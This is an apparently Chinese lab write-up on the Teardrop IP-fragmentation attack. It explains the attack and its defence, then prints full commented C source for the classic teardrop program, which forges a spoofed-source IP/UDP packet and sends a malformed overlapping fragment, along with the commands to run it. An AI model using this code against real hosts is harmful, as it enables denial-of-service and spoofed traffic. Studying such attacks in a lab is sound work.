【网络通信】Teardrop编程创造虚假IP包
目录
- 一、了解Teardrop攻击
- 二、虚拟机及环境
- 三、相关代码
- 四、编译执行
- 五、参考
实验目的:
完成Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入Fake News,发送此包,并用wireshark抓包进行验证。
实验环境:
- Ubuntu18.04
- C语言
一、了解Teardrop攻击
攻击原理:
攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,会导致系统崩溃。
当对一台机器发动泪滴攻击时,该机器就会崩溃或重启。 (在Windows机器上,用户可能会遇到蓝屏死机)。 如果你正确防御了Winnuke和SSping的 DoS攻击,但仍然发生崩溃,那么极有可能受到泪滴攻击或LAND攻击。
防御方法:
网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存益处,当缓存快要存满是,直接丢弃后续分片报文。
二、虚拟机及环境
打开虚拟机前设置桥接模式
先打开[设置]
勾选[桥接模式]
三、相关代码
c程序代码:创建一个虚假ip包
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1
/* Linux dies with 1, NT is more stalwart and can* withstand maybe 5 or 10 sometimes... Experiment.*///错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);//主函数
int main(int argc,char **argv)
{int one = 1, count = 0, i, rip_sock;//定义无符号长整型源 IP 和目的 IPu_long src_ip = 0, dst_ip = 0;//定义无符号短整型源端口号和目的端口号u_short src_prt = 0, dst_prt = 0;/*定一个结构体 in_addr(表示一个32位的IPv4地址)的一个对象struct in_addr{union{struct{u_char s_b1,s_b2,s_b3,s_b4;} S_un_b; //An IPv4 address formatted as four u_chars.struct{u_short s_w1,s_w2;} S_un_w; //An IPv4 address formatted as two u_shortsu_long S_addr;//An IPv4 address formatted as a u_long} S_un;#define s_addr S_un.S_addr};*/struct in_addr addr;printf("teardrop route|daemon9\n\n");/*创建一个原始套接字AF_INET——IPv4地址;SOCK_RAW——原始的套接字类型IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET每个电脑里面都会有一个描述符表,对应套接字如果创建失败,将错误消息输出到屏幕然后退出程序*/if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0){fprintf(stderr,"raw socket");exit(1);}/*设置原始套接字选项 IP_HDRINCL如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部这个情况是我们所不需要的,我们需要自己编写 IP 包*/if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0){fprintf(stderr,"IP_HDRINCL");exit(1);}/*如果程序运行时送给main函数的命令行参数个数小于 3 个,调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名*/if(argc < 3)usage(argv[0]);//调用 name_resolve 函数设置源 IP 和目的 IP if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))){fprintf(stderr,"What the hell kind of IP address is that?\n");exit(1);}/*调用 getopt 函数分析命令行参数,该函数的参数含义:——命令行参数个数(argc)——命令行参数内容(argv)——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数getopt 函数处理不符合 optstring 指定的选项并将选项后的参数保存在 optarg 中然后返回选项的 ASCLL 码atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符)如果不能转化为十进制,则返回 0 ,值过大返回 -1该循环语句是为了从命令行传端口值*/while((i = getopt(argc, argv, "s:t:n:")) != EOF){switch (i){case 's'://源端口(重点)src_prt = (u_short)atoi(optarg);break;case 't'://目的端口 (DNS,任何人?)dst_prt = (u_short)atoi(optarg);break;case 'n'://设置发送包的个数count = atoi(optarg);break;default:usage(argv[0]);break;}}/*srandom 函数:设置种子值(以“当前时间 + 进程 ID”作为种子)如果前面设置的源端口和目的端口是零,则随机赋值*/srandom((unsigned)(utimes("0",(time_t)0)));if(!src_prt)src_prt = (random() % 0xffff);//设置随机源端口号if(!dst_prt)dst_prt = (random() % 0xffff);//设置随即目的端口号if(!count)count = COUNT;//设置默认为一个包//inet_ntoa 函数:将一个IP转换成一个互联网标准点分格式的字符串printf("Death on flaxen wings:\n");addr.s_addr = src_ip;//给对象 addr 的成员变量赋值printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);printf("Amt:%5d\n",count);printf("[\n");/*循环调用 send_frags 函数每一次循环完了后睡眠 0.5 s*/for (i = 0; i < count; i++){send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);usleep(500);}printf("]\n");return (0);
}//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针u_char byte;//无符号字符储存二进制struct sockaddr_in sin;/*sockaddr 套接字协议结构用于存储参与(IP)Windows/linux套接字通信的计算机上的一个internet协议(IP)地址struct sockaddr {unsigned short sa_family; //address family, AF_xxxchar sa_data[14]; //14 bytes of protocol address};*/sin.sin_family = AF_INET;//IPv4地址sin.sin_port = src_prt;//源端口sin.sin_addr.s_addr = dst_ip;//目的 IP/*malloc 函数:原型:extern void *malloc(unsigned int num_bytes);功能:分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块)说明:分配成功则返回指向被分配内存的指针,否则返回空指针 NULL*/packet = (u_char *)malloc(IPH + UDPH + PADDING);p_ptr = packet;//指向 IP 包内存地址flag = packet;/*bzero 函数:原型:extern void bzero(void *s, int n);功能:置字节字符串前n个字节为零且包括‘\0’,无返回值这里是将 IP 包的 56 个字节全部至空*/bzero((u_char *)p_ptr,IPH + UDPH + PADDING);/*设置 IP 包的Version(版本)和Hlen(长度)大多数的 IP 包都是以 4500 开头的(十六进制) */byte = 0x45;/*memcpy 函数:原型:void *memcpy(void *destin, void *source, unsigned n);功能:从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中即从源source中拷贝n个字节到目标destin中这里是指从 byte 的内容(0x45)拷贝到 IP 包中*/memcpy(p_ptr, &byte, sizeof(u_char));p_ptr += 2;// 此时默认 IP 包的 TOS(优先级)为 0/*FIX 函数(htons 函数的别名)htons 函数:将一个无符号短整型的主机数值转换为网络字节顺序即大尾顺序(big-endian)这里是设置 Datagram Total Length(IP 包总长度)*/*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);p_ptr += 2;//这是是设置 identifier(IP 包标识)*((u_short *)p_ptr) = htons(242);//IP idp_ptr += 2;//这里设置 Flags(标志)*((u_short *)p_ptr) |= FIX(IP_MF);p_ptr += 2;//设置 TTL (存活期)*((u_short *)p_ptr) = 0x40;//设置 Protocol(协议)byte = IPPROTO_UDP;memcpy(p_ptr + 1, &byte, sizeof(u_char));//IP 的校验码由实时操作系统设置p_ptr += 4;//设置 IP 包的 Source Address(源地址)*((u_long *)p_ptr) = src_ip;p_ptr += 4;//设置 IP 包的 Destination Address(目的地址)*((u_long *)p_ptr) = dst_ip;p_ptr += 4;//设置 UDP 的源端口*((u_short *)p_ptr) = htons(src_prt);p_ptr += 2;//设置 UDP 的目的端口*((u_short *)p_ptr) = htons(dst_prt);p_ptr += 2;//设置 UDP 的数据长度*((u_short *)p_ptr) = htons(PADDING);p_ptr += 4;/*设置要发送的数据:Fake News根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73*/*((u_short *)p_ptr) = 0x46;p_ptr++;*((u_short *)p_ptr) = 0x61;p_ptr++;*((u_short *)p_ptr) = 0x6B;p_ptr++;*((u_short *)p_ptr) = 0x65;p_ptr++;*((u_short *)p_ptr) = 0x20;p_ptr++;*((u_short *)p_ptr) = 0x4E;p_ptr++;*((u_short *)p_ptr) = 0x65;p_ptr++;*((u_short *)p_ptr) = 0x77;p_ptr++;*((u_short *)p_ptr) = 0x73;/*sendto 函数:指向一指定目的地发送数据将指定字节数的数据发送到指定的终结点sendto()适用于发送未建立连接的UDP数据报(参数为SOCK_DGRAM)返回值:为整型,如果成功,则返回发送的字节数,失败则返回SOCKET_ERROR发送 IPv4 包,下面这个条件语句发送失败才会执行*/int i=1;while(i <= 56){printf("%x\t",*flag);flag++;if(0 == i%8)printf("\n");i++;}if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1){fprintf(stderr, "\nsendto");free(packet);//释放 packet 指针exit(1);}//IP total length is 2 bytes into the header//IP 包总长度是2字节,放进头部p_ptr = &packet[2];*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);//IP offset is 6 bytes into the headerp_ptr += 4;*((u_short *)p_ptr) = FIX(MAGIC);//发送 UDP 包,下面这个条件语句发送失败才会执行if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1){fprintf(stderr, "\nsendto");free(packet);exit(1);}free(packet);
}//获取主机信息
u_long name_resolve(u_char *host_name)
{struct in_addr addr;//32位 IPv4 地址/*hostent 结构体:该结构记录主机的信息,包括主机名、别名、地址类型、地址长度和地址列表struct hostent {char *h_name;char **h_aliases;int h_addrtype;int h_length;char **h_addr_list;};#define h_addr h_addr_list[0]*/struct hostent *host_ent;/*gethostbyname 函数:返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针bcopy 函数:将第一个参数(字符串)的前n(第三个参数)个字节复制到第二个参数中*/if((addr.s_addr = inet_addr(host_name)) == -1){if(!(host_ent = gethostbyname(host_name)))return (0);bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);}return (addr.s_addr);
}//错误处理函数
void usage(u_char *name)
{fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many ]\n",name);exit(0);
}
四、编译执行
打开ubuntu终端,创建teardrop.c文件
nano teardrop.c
将上述代码写入.c文件中,执行以下命令前打开wireshark抓包
gcc teardrop.c -o text
sudo ./text 100.100.100.100 120.120.120.120
打印结果中的十六进制数据,就是整个 IP 包的数据,后续可以与抓到的 IP 包进行对比。
这就是抓到的虚假IP包
五、参考
①带你认识Teardrop攻击
②通过 Teardrop 攻击程序学习自制 IP 包及了解包的结构
【网络通信】Teardrop编程创造虚假IP包相关推荐
- Teardrop攻击——发送虚假IP包信息
Teardrop攻击--发送虚假IP包信息 一.原始套接字概述 二.Teardrop攻击原理阐述 三.编写Teardrop程序(伪造一个虚假地址的IP包) 四.参考链接 一.原始套接字概述 原始套接字 ...
- 通过 Teardrop 攻击程序学习自制 IP 包及了解包的结构
目录 一.含义简析 1)什么是原始套接字 2)了解 Teardrop 攻击 二.代码编写 1)虚拟机设置 2)编写代码 三.总结 四.参考资料 使用原始套接字编程中的 Teardrop 代码编程,伪造 ...
- Teardrop代码编程,伪造一个虚假地址的IP包和SOCKET应用实例
Teardrop攻击 Teardrop攻击是一种畸形报文攻击.原理是向攻击者发送的多个分片的IP包,由于操作系统会将分开的IP包重新组合,系统收到偏移量错误IP包然后组合,导致数据异常. 实验代码:为 ...
- 学习teardrop攻击并伪造一个ip包
编译环境:Ubuntu18.04 编程语言:c语言 使用原始套接字编程中的 Teardrop 代码编程,伪造一个虚假地址的 IP 包,包的内容填入 Fake News ,发送此包,并用 wiresha ...
- JAVA网络编程:TCP/IP数据包结构
2019独角兽企业重金招聘Python工程师标准>>> 一般来说,网络编程我们仅仅须要调用一些封装好的函数或者组件就能完毕大部分的工作,可是一些特殊的情况下,就须要深入的理解网络数据 ...
- 网络编程,捕获IP数据包
任务三 网络编程 1. IP数据报的格式说明: IP数据包格式包含了标头固定部分,标头可变部分和数据区三部分.IP数据报标头部分固定为20个字节,其中包含了12个参数域,各参数域隐含着网间协议的传输机 ...
- ip 包流量分析程序_【干货】西门子S7300六大流量异常场景检测
前言 互联与共享成为工业控制系统新的发展方向,工控系统与企业办公网和互联网逐渐相连,工业控制网络环境越来越开放. 工业控制系统需从设备安全和信息数据安全两方面保障系统稳定运行: 从 ICS 自身结构看 ...
- 【论坛转贴】IP spoof欺骗关于修改ip源向网页post的方法,伪造虚假IP来源!可用于群发发贴机拱贴机邮件EMail群发!!!!!!
[论坛转贴]IP spoof欺骗,关于修改ip源向网页post的方法,伪造虚假IP来源!可用于群发发贴机拱贴机邮件EMail群发!!!!!! 现在我急需这段程序,有好心的人帮我解决一下吗 这是 ...
- Java网络编程(网络基础(IP端口号网络通信协议)、TCP编程、UDP编程和URL编程原理以及常用方法的实例)
网络编程 网络基础概述 计算机网络: 把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大.功能强的网络系统,从而使众多的计算机可以方便地互相传递信息.共享硬件.软件.数据信息等 ...
最新文章
- 【深度学习】90.94%准确率!谷歌刷新ImageNet新纪录!Model soups:提高模型的准确性和稳健性...
- Spring Security和自定义密码编码
- 畅享10e会有鸿蒙吗,功能虽小作用很大 华为畅享10e隐藏功能大揭秘
- 《大话存储__网络存储系原理精解与最佳实践》电子书下载
- 【数学】【CF27E】 Number With The Given Amount Of Divisors
- python软件下载3版本-Python3.9下载
- 【DP + 卖股票】LeetCode 188. Best Time to Buy and Sell Stock IV
- 关于group by 两个或以上条件的分析
- PatterNodes for Mac(创建图形模式)
- 配置8266连接中移物联网OneNet平台
- 哈利波特与死圣中文版
- statis代码块以及非static代码块之执行
- 均值和方差的计算(已知两样本标准差,求总体标准差)
- fedora26下解决wps字体缺失(添加windows字体)
- 私域论坛圈子社区小程序开发
- linux spool目录 删除,Linux知识:/var/spool/clientmqueue 下垃圾文件删除
- php 表情 代码_PHP 大量QQ表情代码替换
- 解决Centos虚拟机复制文件失败问题
- 【Energy Big Data】能源互联网和电力大数据
- 利用js求s=a+aa+aaa+aaaa+aa...a的值,其中a是一个数字。例如2+22,3+33+333,4+44+444+4444...